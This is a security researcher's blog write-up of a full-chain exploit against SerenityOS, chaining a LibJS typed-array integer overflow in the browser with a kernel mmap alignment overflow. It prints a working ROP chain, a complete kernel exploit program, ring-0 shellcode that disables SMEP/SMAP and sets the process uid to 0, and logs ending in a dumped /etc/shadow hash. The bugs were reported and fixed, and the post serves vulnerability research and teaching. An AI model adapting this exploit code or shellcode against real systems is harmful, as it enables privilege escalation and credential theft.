https://devcraft.io/2021/02/11/serenityos-writing-a-full-chain-exploit.html devcraft.io CTF write ups by vakzz SerenityOS - Writing a full chain exploit Feb 11, 2021 I recently came across SerenityOS when it was featured in hxp CTF and then on LiveOverflow's YouTube channel. SerenityOS is an open source operating system written from scratch by Andreas Kling and now has a strong and active community behind it. If you'd like to learn a bit more about it then the recent CppCast episode is a good place to start, as well as all of the fantastic videos by Andreas Kling. Two of the recent videos were about writing exploits for a typed array bug in javascript, and a kernel bug in munmap. The videos were great to watch and got me thinking that it would be fun to try and find a couple of bugs that could be chained together to create a full chain exploit such as exploiting a browser bug to exploit a kernel bug to get root access. Entrypoint I started looking around and discovered an integer overflow when creating a typed array from an array buffer, the length was multiplied by the element size which could overflow. Userland/ Libraries/LibJS/Runtime/TypedArray.cpp#L69 static void initialize_typed_array_from_array_buffer(GlobalObject& global_object, TypedArrayBase& typed_array, ArrayBuffer& array_buffer, Value byte_offset, Value length) { // SNIP ... auto buffer_byte_length = array_buffer.byte_length(); size_t new_byte_length; if (length.is_undefined()) { if (buffer_byte_length % element_size != 0) { vm.throw_exception(global_object, ErrorType::TypedArrayInvalidBufferLength, typed_array.class_name(), element_size, buffer_byte_length); return; } if (offset > buffer_byte_length) { vm.throw_exception(global_object, ErrorType::TypedArrayOutOfRangeByteOffset, offset, buffer_byte_length); return; } new_byte_length = buffer_byte_length - offset; } else { new_byte_length = new_length * element_size; if (offset + new_byte_length > buffer_byte_length) { vm.throw_exception(global_object, ErrorType::TypedArrayOutOfRangeByteOffsetOrLength, offset, offset + new_byte_length, buffer_byte_length); return; } } typed_array.set_viewed_array_buffer(&array_buffer); typed_array.set_byte_length(new_byte_length); typed_array.set_byte_offset(offset); typed_array.set_array_length(new_byte_length / element_size); } This could be used to create two powerful primitives, one that could read an arbitrary address and the other that could read an arbitrary amount from some allocated memory. These were the same primitives that Kling created in his video which meant that the issue could be exploited in exactly the same way: * Finding a vtable pointer with the offset primitive by spraying lots of Numbers * Use the deterministic memory layout to calculating the stack location * Find the saved return address on the stack * Overwriting it with a rop chain. While I was looking into exploiting this, someone else spotted the same issue and it was quickly patched. slack As I had already started and wanted to keep using the same issue, I kept working from this commit which still had the bug :) Exploiting the issue is pretty much identical to the video above and it does a great job explaining what is going on, so I wont go into too much detail. Here Is what I ended up with: Loading the above in the browser resulting in a crash at 0x12345678: [Browser(37:37)]: CPU[0] NP(error) fault at invalid address V0x12345678 [Browser(37:37)]: Unrecoverable page fault, instruction fetch / read from address V0x12345678 [Browser(37:37)]: CRASH: CPU #0 Page Fault. Ring 3. [Browser(37:37)]: exception code: 0014 (isr: 0000 [Browser(37:37)]: pc=001b:12345678 flags=0246 [Browser(37:37)]: stk=0023:026ff2e4 [Browser(37:37)]: ds=0023 es=0023 fs=0023 gs=002b [Browser(37:37)]: eax=026ff3c0 ebx=0491ce8c ecx=00000000 edx=0491e4a0 [Browser(37:37)]: ebp=026ff378 esp=c2a48fe8 esi=00000005 edi=02d0dfd8 [Browser(37:37)]: cr0=80010013 cr2=12345678 cr3=07351000 cr4=003006e4 [Browser(37:37)]: CPU[0] NP(error) fault at invalid address V0x12345678 [Browser(37:37)]: 0x12345678 (?) Since we can write any amount to the stack, it was fairly straight forward to build a rop chain that mmapped a region, put some shellcode there, mprotected it to make it executable, then jump there: const libc_addr = libjs_addr - 0x122000; const mmap_addr = libc_addr + 0x1b379; const memcpy_addr = libc_addr + 0x002f51d; const mprotect_addr = libc_addr + 0x1b487; const shellcode = [0xcccccccc]; // write our shellcode to a know location (start of the stack) const shellcode_addr = stack_addr; for (let i = 0; i < shellcode.length; i++) { write(shellcode_addr + i * 4, shellcode[i]); } log("shellcode_addr: 0x" + shellcode_addr.toString(16)); // rop gadgets // 0x000462f3: pop esi; pop edi; pop ebp; ret; // 0x0007bda9: add esp, 0x10; pop esi; pop edi; pop ebp; ret; pop7_addr = libjs_addr + 0x0007bda9; pop3_adr = libjs_addr + 0x000462f3; log("pop7_addr: 0x" + pop7_addr.toString(16)); log("pop3_adr: 0x" + pop3_adr.toString(16)); // 1. map region at 0x9d000000 // 2. memcpy our shellcode there // 3. make it executable // 4. jump there write(stack_ret, mmap_addr); const rop = [ pop7_addr, //ret 0x9d000000, 0x8000, 3, 0x32, 0, 0, 0xdeadbeef, memcpy_addr, pop3_adr, // ret 0x9d000000, shellcode_addr, 0x8000, mprotect_addr, pop3_adr, // ret 0x9d000000, 0x8000, 5, 0x9d000000, ]; for (let i = 0; i < rop.length; i++) { write(stack_ret + 4 * (2 + i), rop[i]); } // finish to trigger the rop chain After loading this up and setting a breakpoint with gdb at 0x9d000000: gef Success! Arbitrary code in the browser. Kernel Bug Hunting Next it was time to try and find a kernel bug that could be reached from the browser process. There had been a few issues with integer overflows, so I started looking for places that this might happen. After some searching I saw the following in RangeAllocator::allocate_anywhere: for (size_t i = 0; i < m_available_ranges.size(); ++i) { auto& available_range = m_available_ranges[i]; // FIXME: This check is probably excluding some valid candidates when using a large alignment. if (available_range.size() < (effective_size + alignment)) continue; Each process has a list of available ranges that are used when allocating memory regions. This code is looping through all the ranges and seeing if there is one large enough to hold the requested size, taking into account the alignment (both effective_size and alignment are controlled by the user). The issue is that effective_size + alignment can overflow, resulting in a range being chosen that is too small to hold the requested size. The available_range is then used to create a new allocated range: FlatPtr initial_base = available_range.base().offset(offset_from_effective_base).get(); FlatPtr aligned_base = round_up_to_power_of_two(initial_base, alignment); Range allocated_range(VirtualAddress(aligned_base), size); if (available_range == allocated_range) { dbgln("VRA: Allocated perfect-fit anywhere({}, {}): {}", size, alignment, allocated_range.base().get()); m_available_ranges.remove(i); return allocated_range; } carve_at_index(i, allocated_range); return allocated_range; If it isn't exactly equal then it carves out the range and add the remaining range back into m_available_ranges: void RangeAllocator::carve_at_index(int index, const Range& range) { ASSERT(m_lock.is_locked()); auto remaining_parts = m_available_ranges[index].carve(range); ASSERT(remaining_parts.size() >= 1); m_available_ranges[index] = remaining_parts[0]; if (remaining_parts.size() == 2) m_available_ranges.insert(index + 1, move(remaining_parts[1])); } Vector Range::carve(const Range& taken) { Vector parts; if (taken == *this) return {}; if (taken.base() > base()) parts.append({ base(), taken.base().get() - base().get() }); if (taken.end() < end()) parts.append({ taken.end(), end().get() - taken.end().get() }); return parts; } This code all assumes that the range being taken is smaller than the existing range, but due to the overflow this isn't the case. For example, take the following call with a size of 0x1000 and an alignment of 0xffffe000: void *ptr = serenity_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0xffffe000, "hax"); This will return a region at 0xffffe000 and add an available range to the process of 0xf01000 -> 0xffffdfff. So using the bug we could allocate a region that overlaps with the top of kernel space by reducing the alignment and increasing the size. Alternatively, the example above could be used with multiple calls to mmap to return a region that overlaps with the bottom of the kernel region. Overwriting kernel space with nulls is great and all, but being able to control the content is much nicer than just causing a triple fault. Luckily SerenityOS has something called AnonymousFiles which can be used with a shared mapping to achieve this. int fd = anon_create(size, 0); void *mapped_file = serenity_mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0x1000, NULL); memcpy(mapped_file, payload, payload_len); // later on when we overwrite kernel space serenity_mmap(NULL, size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL); Since there was no point in not doing so, reported the bug at SerenityOS/serenity#5162 and it was quickly fixed :) Exploiting We have most of the pieces to exploit this now, but one of the issues is that the replacement is not very selective and will overwrite all of the kernel regions up to a page aligned boundary that we can choose. These new regions will only take effect after Processor::flush_tlb_local has been called, which as the name suggests, will flush the TLB and cause the virtual address to read from the new physical page. After a bit of trial and error, I came up with the following plan: * overwrite everything up to 0xc0119000 in the kernel * using an AnonymousFile, replace the kernel regions with what was already there (dumped via gdb previously) * put some shellcode at 0xc0001000 to avoid smep and smap issues * inject a small hook into flush_tlb_local right after the flush to jump to 0xc0001000 * since flush_tlb_local is located at 0xc0118e70, flushing the tlb of this final page will cause the injected region to be used, which happens after mmaping the region After much head scratching, debugging, and klog messages had the following hax.cpp: /* hax_kern.h generated from gdb with `dump memory kern.bin 0xc0114000 0xc0119000` then `xxd -i kern.bin > hax_kern.h` */ #include "hax_kern.h" #include #include #include #include // from kernel.map #define FLUSH_TBL_LOCAL_ADDR 0xc0118e70 void log(const char* msg); void log(const char* msg) { dbgputstr(msg, strlen(msg)); } int main() { log("starting hax\n"); // get the address of the first availible range void* first = serenity_mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0x1000, NULL); // size of the final mmap that will overwrite the kernel size_t overwrite_size = 0x5000000; // how much of the kernel region will be overwritten (from 0xc0000000) size_t overflow_amount = 0x119000; // address right after the tlb flush happens size_t flush_tlb_local_addr = FLUSH_TBL_LOCAL_ADDR + 25 - 0xc0000000; // offset from 0xc0000000 to start replacing kernel with the original size_t kern_start_addr = 0x114000; // offset from 0xc0000000 where shellcode is size_t payload_addr = 0x1000; // locations for copying data in the AnonymousFile size_t flush_tlb_local_offset = overflow_amount - flush_tlb_local_addr; size_t kern_start_offset = overflow_amount - kern_start_addr; size_t payload_offset = overflow_amount - payload_addr; // create the AnonymousFile int fd = anon_create(overwrite_size, 0); void* mapped_file = serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0x1000, NULL); //mov eax, 0xc0001000 //jmp eax u8 shellcode[] = { 0xb8, 0x00, 0x10, 0x00, 0xc0, 0xff, 0xe0 }; // int 3 for testing unsigned char payload_bin[] = { 0xcc }; unsigned int payload_bin_len = 1; // copy the original kernel, the flush_tlb_local hook, and the shellcode to the correct offsets memcpy((void*)((size_t)mapped_file + overwrite_size - kern_start_offset), kern_bin, kern_bin_len); memcpy((void*)((size_t)mapped_file + overwrite_size - flush_tlb_local_offset), shellcode, sizeof(shellcode)); memcpy((void*)((size_t)mapped_file + overwrite_size - payload_offset), payload_bin, payload_bin_len); log("injecting mapping\n"); // trigger the overflow and invalid availible_range to be added serenity_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0xfffff000 - 0x1000, NULL); void* ptr = NULL; log("grooming regions\n"); // make sure that there are no availible regions that are left that can fit our final size of 0x5000000 size_t i = (size_t)first; while (i < 0xb0000000) { i += 0x4000000; ptr = serenity_mmap((void*)i, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE | MAP_FIXED, -1, 0, 0x1000, NULL); } // create a chunk that will take up the remaining space to align our final region correctly size_t end = 0xc0000000 - 0x3000 - (size_t)ptr - overwrite_size + overflow_amount; log("filling up to last region to correct location\n"); ptr = serenity_mmap(NULL, end, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0, 0x1000, NULL); // overwrite the kernel region log("overwritting kernel mapping\n"); serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL); while (true) { } return 0; } Compiling and running this resulted in our payload being jumped to and the breakpoint trap being hit! starting hax injecting mapping grooming regions filling up to last region to correct location overwritting kernel mapping [hax(27:27)]: Breakpoint Trap in Ring0 We now can inject arbitrary shellcode into the kernel! One major issue is that we have made a few rw regions r-x and any context switches or numerous other things will cause a kernel panic. Since the current page table is already mapped to 0xffe00000 (due to the call to MM.ensure_pte from Region::map_individual_page_impl (size_t page_index), we can loop over all of the entries there and make them writeable and executable (remove nx) then flush the tlb again. After doing this the kernel was slightly more stable, but it still pretty much crashed the moment that the hax process was context switched. Setting the thread priority helped, allowing the hax process to keep on doing things before the kernel panicked. It's much easier to do things in userland, so the remaining job of the shellcode was to set the uid of the process to 0 (to become root) and to make sure we had all of the promises to perform any syscall. The final shellcode was: ; python -c 'from pwn import *; write("payload.bin", asm(read("payload.asm").decode().replace("; ", "// ")))' ; xxd -i payload.bin ; check if payload has already run start: mov eax, 0xc0108f00 cmp dword ptr [eax], 0x12345678 je already_done ; clear smep and smap mov eax, cr4 and eax , 0xfff mov cr4, eax ; loop over current page table and make everything user, read/write and executable mov eax, 0xffe00000 loop: mov ebx, [eax] test ebx, ebx jz next or ebx, 0x6 mov [eax], ebx mov dword ptr [eax+4], 0 next: add eax, 8 cmp eax, 0xffe01000 je end jmp loop end: ; flush tlb mov eax, cr3 mov cr3, eax ; mark as done mov eax, 0xc0108f00 mov ecx, 0x12345678 mov [eax], ecx ; get current thread via Kernel::Thread::current mov eax,fs:0x0 mov edx,DWORD PTR fs:0x0 cmp eax,edx je got_thread mov eax, 0xc01192c7 call eax got_thread: ; set priority very high mov dword ptr [eax + 0x2c0], 99 mov dword ptr [eax + 0x2c4], 0x50000000 ; get current process via Kernel::Process::current mov eax, 0xc01fb033 call eax ; set uid/guid/euid to 0 mov dword ptr [eax + 0x38], 0 mov dword ptr [eax + 0x40], 0 mov dword ptr [eax + 0x48], 0 ; give all promises mov dword ptr [eax + 0x140], 0xffffffff mov dword ptr [eax + 0x144], 0xffffffff ; set veil_state to 0 mov dword ptr [eax + 0x14c], 0 already_done: pop ebp ret We can the compile the shellcode, add it to hax.cpp (replacing payload_bin) and then try to do some things as root: // ... // overwrite the kernel region log("overwritting kernel mapping\n"); serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL); // make the exploit a bit more stable by make sure everything is loaded already char buff[200] = {}; open("/ggg", O_RDONLY, 0); read(-1, buff, 199); // overwrite the kernel region log("overwritting kernel mapping\n"); serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL); int fds = open("/etc/shadow", O_RDONLY, 0); read(fds, buff, 199); log("/etc/shadow: "); log(buff); log("\n"); while (true) { } return 0; Resulting in the process becoming root with just enough time to do a few things before everything crashed! starting hax injecting mapping grooming regions filling up to last region to correct location overwritting kernel mapping /etc/shadow: root: anon:$5$zFiQBeTD88m/mhbU$ecHDSdRd5yNV45BzIRXwtRpxJtMpVI5twjRRXO8X03Q= [WindowServer(16:16)]: CPU[0] NP(error) fault at invalid address V0xffe08000 [WindowServer(16:16)]: Unrecoverable page fault, write to address V0xffe08000 [WindowServer(16:16)]: CRASH: CPU #0 Page Fault. Ring 0. [WindowServer(16:16)]: exception code: 0002 (isr: 0000 [WindowServer(16:16)]: pc=0008:c01c7cc9 flags=0046 [WindowServer(16:16)]: stk=0010:c180ac78 [WindowServer(16:16)]: ds=0010 es=0010 fs=0030 gs=002b [WindowServer(16:16)]: eax=00000000 ebx=c01151a8 ecx=00000400 edx=ffe08000 [WindowServer(16:16)]: ebp=c180ace0 esp=c180ac78 esi=c05ce014 edi=ffe08000 [WindowServer(16:16)]: cr0=80010013 cr2=ffe08000 cr3=0140f000 cr4=000006e4 [WindowServer(16:16)]: code: f3 ab 89 34 24 e8 d1 f3 [WindowServer(16:16)]: Crash in ring 0 :( [WindowServer(16:16)]: 0xc011c71b [WindowServer(16:16)]: 0xc011cbc8 [WindowServer(16:16)]: 0xc0118c0b [WindowServer(16:16)]: 0xc01c38f1 [WindowServer(16:16)]: 0xc01d1cc9 [WindowServer(16:16)]: 0xc01cb714 [WindowServer(16:16)]: 0xc011c8bb [WindowServer(16:16)]: 0xc0118c0b Browserify The final stage was to combine the kernel exploit with the browser exploit. The hax.cpp kernel exploit was already being compiled with PIE, but it depended on libc and a few other dynamic libraries. There was probably a way to just statically compile it but in the end I just copied all of the required functions and syscalls in so that nothing else was needed :) It could then be included and run directly in the previous browser exploit using a quick python script to get it into the right format: from pwn import * data = read("./Build/Userland/Utilities/hax")[0x4C0:] # address of main print("const shellcode = {};".format(unpack_many(data, 32))) Putting it all together, hosting it, the firing up br http://aw.rs/ hax.html in serenity: LaunchServer(30): Received connection Browser(28): FrameLoader::load: http://aw.rs/hax.html LookupServer(31): Using network config file at /etc/LookupServer.ini Browser(28): Added new tab 0x02df07e8, loading http://aw.rs/hax.html Browser(28): I believe this content has MIME type 'text/html', , encoding 'utf-8' starting hax injecting mapping grooming regions filling up to last region to correct location [Browser(28:28)]: kmalloc(): Adding memory to heap at V0xc2cf7000, bytes: 1048576 overwritting kernel mapping /etc/shadow: root: anon:$5$9nh9cNPUmFXTsRuM$M8o3je+RciZB6rX3U6LePJVm134mWjNL/VCJf1qIxyo= Victory! Next steps Since starting this there have been a whole heap of mitigations implemented to make exploiting bugs harder in SerenityOS, including better aslr, better W^X, a new prot_exec promise as well as many others. In the next post I'll take a look at the same two issues again, but with all of the recent mitigations applies and see how that changes things :) Appendix All the files can be found at here Please enable JavaScript to view the comments powered by Disqus. devcraft.io maintained by William Bowling GitHub Logo Twitter Logo